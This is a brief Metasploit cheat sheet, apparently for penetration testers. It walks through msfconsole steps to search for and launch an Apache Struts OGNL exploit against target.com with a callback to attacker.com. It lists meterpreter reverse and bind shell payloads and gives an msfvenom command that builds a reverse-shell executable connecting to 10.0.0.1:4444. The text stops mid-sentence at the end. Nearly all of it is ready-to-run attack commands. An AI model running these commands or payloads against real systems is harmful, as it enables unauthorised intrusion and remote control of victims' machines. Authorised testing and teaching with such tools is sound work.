Metasploit is a penetration testing framework providing tools for developing, testing, and executing exploits against target systems. It includes a vast database of exploits, payloads, and auxiliary modules.
# Start Metasploit console
msfconsole
# Search for exploits
msf> search type:exploit apache struts
# Use an exploit
msf> use exploit/multi/http/struts2_content_type_ognl
msf> show options
msf> set RHOSTS target.com
msf> set LHOST attacker.com
msf> exploit
# Reverse shells
windows/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp
# Bind shells
windows/shell/bind_tcp
# Generate standalone payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe
Advanced payload providing interactive shell with features like: